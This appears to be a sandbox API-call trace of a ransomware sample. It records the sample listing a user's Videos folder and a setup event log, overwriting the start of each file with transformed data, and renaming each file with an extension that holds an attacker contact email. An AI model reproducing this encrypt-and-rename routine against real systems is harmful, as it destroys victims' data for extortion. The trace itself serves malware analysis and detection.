	[0078.212] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2dacc78
	[0078.212] wcscpy (in: _Dest=0x2dacc78, _Source="C:\\Users\\FD1HVy\\Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos"
	[0078.212] wcscat (in: _Dest=0x2dacc78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\"
	[0078.212] wcscat (in: _Dest=0x2dacc78, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\*") returned="C:\\Users\\FD1HVy\\Videos\\*"
	[0078.212] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df9ca0
	[0078.212] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\*", lpFindFileData=0x2df9ca0 | out: lpFindFileData=0x2df9ca0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x39e217ab, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x39e217ab, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d878b8
	[0079.983] wcscmp (_String1=".", _String2=".") returned 0
	[0079.983] FindNextFileW (in: hFindFile=0x2d878b8, lpFindFileData=0x2df9ca0 | out: lpFindFileData=0x2df9ca0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x39e217ab, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x39e217ab, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.983] wcscmp (_String1="..", _String2=".") returned 1
	[0079.983] wcscmp (_String1="..", _String2="..") returned 0
	[0079.983] FindNextFileW (in: hFindFile=0x2d878b8, lpFindFileData=0x2df9ca0 | out: lpFindFileData=0x2df9ca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x399a05f0, ftCreationTime.dwHighDateTime=0x1d5d7dc, ftLastAccessTime.dwLowDateTime=0x2706a410, ftLastAccessTime.dwHighDateTime=0x1d5d116, ftLastWriteTime.dwLowDateTime=0x2706a410, ftLastWriteTime.dwHighDateTime=0x1d5d116, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0sDWNbMdg", cAlternateFileName="0SDWNB~1")) returned 1
	[0079.983] wcscmp (_String1="0sDWNbMdg", _String2=".") returned 1
	[0079.983] wcscmp (_String1="0sDWNbMdg", _String2="..") returned 1
	[0079.983] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x2e019e0
	[0079.983] wcscpy (in: _Dest=0x2e019e0, _Source="C:\\Users\\FD1HVy\\Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos"
	[0079.983] wcscat (in: _Dest=0x2e019e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\"
	[0079.983] wcscat (in: _Dest=0x2e019e0, _Source="0sDWNbMdg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg") returned="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg"
	[0092.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x2e01c10
	[0092.145] wcscpy (in: _Dest=0x2e01c10, _Source="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg") returned="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg"
	[0092.145] wcscat (in: _Dest=0x2e01c10, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\") returned="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\"
	[0092.145] wcscat (in: _Dest=0x2e01c10, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\*") returned="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\*"
	[0092.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030a40
	[0092.145] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\*", lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x399a05f0, ftCreationTime.dwHighDateTime=0x1d5d7dc, ftLastAccessTime.dwLowDateTime=0x2706a410, ftLastAccessTime.dwHighDateTime=0x1d5d116, ftLastWriteTime.dwLowDateTime=0x2706a410, ftLastWriteTime.dwHighDateTime=0x1d5d116, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b5e8
	[0092.146] wcscmp (_String1=".", _String2=".") returned 0
	[0092.146] FindNextFileW (in: hFindFile=0x477b5e8, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x399a05f0, ftCreationTime.dwHighDateTime=0x1d5d7dc, ftLastAccessTime.dwLowDateTime=0x2706a410, ftLastAccessTime.dwHighDateTime=0x1d5d116, ftLastWriteTime.dwLowDateTime=0x2706a410, ftLastWriteTime.dwHighDateTime=0x1d5d116, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.146] wcscmp (_String1="..", _String2=".") returned 1
	[0092.146] wcscmp (_String1="..", _String2="..") returned 0
	[0092.146] FindNextFileW (in: hFindFile=0x477b5e8, lpFindFileData=0x5030a40 | out: lpFindFileData=0x5030a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8122600, ftCreationTime.dwHighDateTime=0x1d5cb5c, ftLastAccessTime.dwLowDateTime=0xc2685b00, ftLastAccessTime.dwHighDateTime=0x1d5d806, ftLastWriteTime.dwLowDateTime=0xc2685b00, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0xf337, dwReserved0=0x0, dwReserved1=0x0, cFileName="4EgkVGshqz.mp4", cAlternateFileName="4EGKVG~1.MP4")) returned 1
	[0092.146] wcscmp (_String1="4EgkVGshqz.mp4", _String2=".") returned 1
	[0092.146] wcscmp (_String1="4EgkVGshqz.mp4", _String2="..") returned 1
	[0092.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733ce0
	[0092.146] wcscpy (in: _Dest=0x4733ce0, _Source="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg") returned="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg"
	[0092.146] wcscat (in: _Dest=0x4733ce0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\") returned="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\"
	[0092.146] wcscat (in: _Dest=0x4733ce0, _Source="4EgkVGshqz.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\4EgkVGshqz.mp4") returned="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\4EgkVGshqz.mp4"
	[0092.146] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\4EgkVGshqz.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\0sdwnbmdg\\4egkvgshqz.mp4")) returned 0x20
	[0092.146] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\4EgkVGshqz.mp4", dwFileAttributes=0x20) returned 1
	[0092.147] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\4EgkVGshqz.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\0sdwnbmdg\\4egkvgshqz.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1460
	[0092.147] GetFileSizeEx (in: hFile=0x1460, lpFileSize=0x1943fa34 | out: lpFileSize=0x1943fa34*=62263) returned 1
	[0092.147] SetFilePointerEx (in: hFile=0x1460, liDistanceToMove=0xf333, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.147] ReadFile (in: hFile=0x1460, lpBuffer=0x1943f9b8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1943f9b4, lpOverlapped=0x0 | out: lpBuffer=0x1943f9b8*, lpNumberOfBytesRead=0x1943f9b4*=0x4, lpOverlapped=0x0) returned 1
	[0092.147] SetFilePointerEx (in: hFile=0x1460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.147] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0092.147] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0092.147] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731948
	[0092.147] NtQuerySystemTime (in: CurrentTime=0x1943f994 | out: CurrentTime=0x1943f994*=132251868188846730) returned 0x0
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x3a9d5f12
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0xb82ad966
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0xfd407075
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x500eb10f
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0xe1f1f630
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x2d38b15d
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x674f845b
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x7ef0bafe
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x57daa86f
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x2e6e5638
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0xc4696c82
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0xb2f69e9b
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0xcb4f4920
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0xcc643db1
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x1470061f
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0xd04ed77f
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0xabe229b7
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x891df43a
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x8b2fe22a
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x60077e0d
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x640ade42
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x1ddbf785
	[0092.147] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x198cab55
	[0092.148] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x36ae1944
	[0092.148] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x6e93432e
	[0092.148] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0xfd27edd7
	[0092.148] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0xb4239996
	[0092.148] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x70748f4
	[0092.148] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x3032769f
	[0092.148] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0xc71c9347
	[0092.148] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0xdece1628
	[0092.148] RtlRandom (in: Seed=0x1943f9a0 | out: Seed=0x1943f9a0) returned 0x2a9ebd78
	[0092.157] SetFilePointerEx (in: hFile=0x1460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.157] ReadFile (in: hFile=0x1460, lpBuffer=0x50d68a8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1943f974, lpOverlapped=0x0 | out: lpBuffer=0x50d68a8*, lpNumberOfBytesRead=0x1943f974*=0xc800, lpOverlapped=0x0) returned 1
	[0092.158] SetFilePointerEx (in: hFile=0x1460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb078
	[0092.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83738
	[0092.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0092.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ba0) returned 1
	[0092.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50e30b0
	[0092.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731948
	[0092.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0092.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a60) returned 1
	[0092.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83738) returned 1
	[0092.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb078) returned 1
	[0092.159] WriteFile (in: hFile=0x1460, lpBuffer=0x50e30b0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1943f974, lpOverlapped=0x0 | out: lpBuffer=0x50e30b0*, lpNumberOfBytesWritten=0x1943f974*=0xc800, lpOverlapped=0x0) returned 1
	[0092.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50e30b0) returned 1
	[0092.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50d68a8) returned 1
	[0092.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x50593a8
	[0092.162] SetFilePointerEx (in: hFile=0x1460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.162] WriteFile (in: hFile=0x1460, lpBuffer=0x2d89108*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x1943f9f4, lpOverlapped=0x0 | out: lpBuffer=0x2d89108*, lpNumberOfBytesWritten=0x1943f9f4*=0x10d, lpOverlapped=0x0) returned 1
	[0092.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89108) returned 1
	[0092.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5059290) returned 1
	[0092.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b78) returned 1
	[0092.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50593a8) returned 1
	[0092.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731948) returned 1
	[0092.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0092.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a88) returned 1
	[0092.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b00) returned 1
	[0092.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d619a0
	[0092.167] wcscpy (in: _Dest=0x2d619a0, _Source="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\4EgkVGshqz.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\4EgkVGshqz.mp4") returned="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\4EgkVGshqz.mp4"
	[0092.167] wcscat (in: _Dest=0x2d619a0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\4EgkVGshqz.mp4.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\4EgkVGshqz.mp4.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.167] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\4EgkVGshqz.mp4.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1943f9ac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\FD1HVy\\Videos\\0sDWNbMdg\\4EgkVGshqz.mp4.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926260
	[0092.168] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926260) returned 1
	[0092.168] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0092.168] NtQueryInformationFile (in: FileHandle=0x1460, IoStatusBlock=0x1943f9b8, FileInformation=0x1943f990, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1943f9b8, FileInformation=0x1943f990) returned 0x0
	[0092.168] NtSetInformationFile (FileHandle=0x1460, IoStatusBlock=0x1943f9b8, FileInformation=0x1943f990, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0092.171] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d619a0) returned 1
	[0092.171] FlushFileBuffers (hFile=0x1460) returned 1
	[0093.278] CloseHandle (hObject=0x1460) 

Thread:
	id = 676
	os_tid = 0x19bc

	[0078.213] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20
	[0084.352] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx", dwFileAttributes=0x20) returned 1
	[0087.647] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b0c
	[0087.647] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x194bfc34 | out: lpFileSize=0x194bfc34*=69632) returned 1
	[0087.648] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.648] ReadFile (in: hFile=0x1b0c, lpBuffer=0x194bfbb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x194bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x194bfbb8*, lpNumberOfBytesRead=0x194bfbb4*=0x4, lpOverlapped=0x0) returned 1
	[0087.649] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0087.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0087.649] NtQuerySystemTime (in: CurrentTime=0x194bfb94 | out: CurrentTime=0x194bfb94*=132251868143819345) returned 0x0
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0xd22dcddf
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0xa73d355
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x64833384
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x381c8570
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x6052e6de
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x74337770
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x8e5897d2
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x4f741f14
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x593fd759
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x59c555a6
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x77592dda
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0xbaf595dc
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0xc328be10
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0xad0e6890
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x443a5058
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x2cf6aa16
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0xaf3a12f
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x970cf200
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x65b4dc1e
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x1b531a85
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0xe0f09ec6
	[0087.649] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x79927726
	[0087.650] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x6808914e
	[0087.650] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0xb93d9707
	[0087.650] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x507e970c
	[0087.650] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x2bc84a4f
	[0087.650] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x4cabfc23
	[0087.650] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0xca2dd42a
	[0087.650] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0xbf0725ff
	[0087.650] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0xe65646c
	[0087.650] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0xd9836ab8
	[0087.650] RtlRandom (in: Seed=0x194bfba0 | out: Seed=0x194bfba0) returned 0x39a5176e
	[0087.658] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.658] ReadFile (in: hFile=0x1b0c, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x194bfb74, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x194bfb74*=0xc800, lpOverlapped=0x0) returned 1
	[0087.659] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.659] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.659] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.659] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0087.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.661] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0087.661] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.661] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x194bfb74, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x194bfb74*=0xc800, lpOverlapped=0x0) returned 1
	[0087.663] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.663] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0087.663] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x21) returned 0x2d78140
	[0087.663] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.663] WriteFile (in: hFile=0x1b0c, lpBuffer=0x500d048*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x194bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x500d048*, lpNumberOfBytesWritten=0x194bfbf4*=0x105, lpOverlapped=0x0) returned 1
	[0087.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d048) returned 1
	[0087.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ea0) returned 1
	[0087.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0087.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78140) returned 1
	[0087.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0087.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0087.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0087.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2d82838
	[0087.675] wcscpy (in: _Dest=0x2d82838, _Source="C:\\Logs\\Setup.evtx" | out: _Dest="C:\\Logs\\Setup.evtx") returned="C:\\Logs\\Setup.evtx"
	[0087.675] wcscat (in: _Dest=0x2d82838, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Setup.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Setup.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
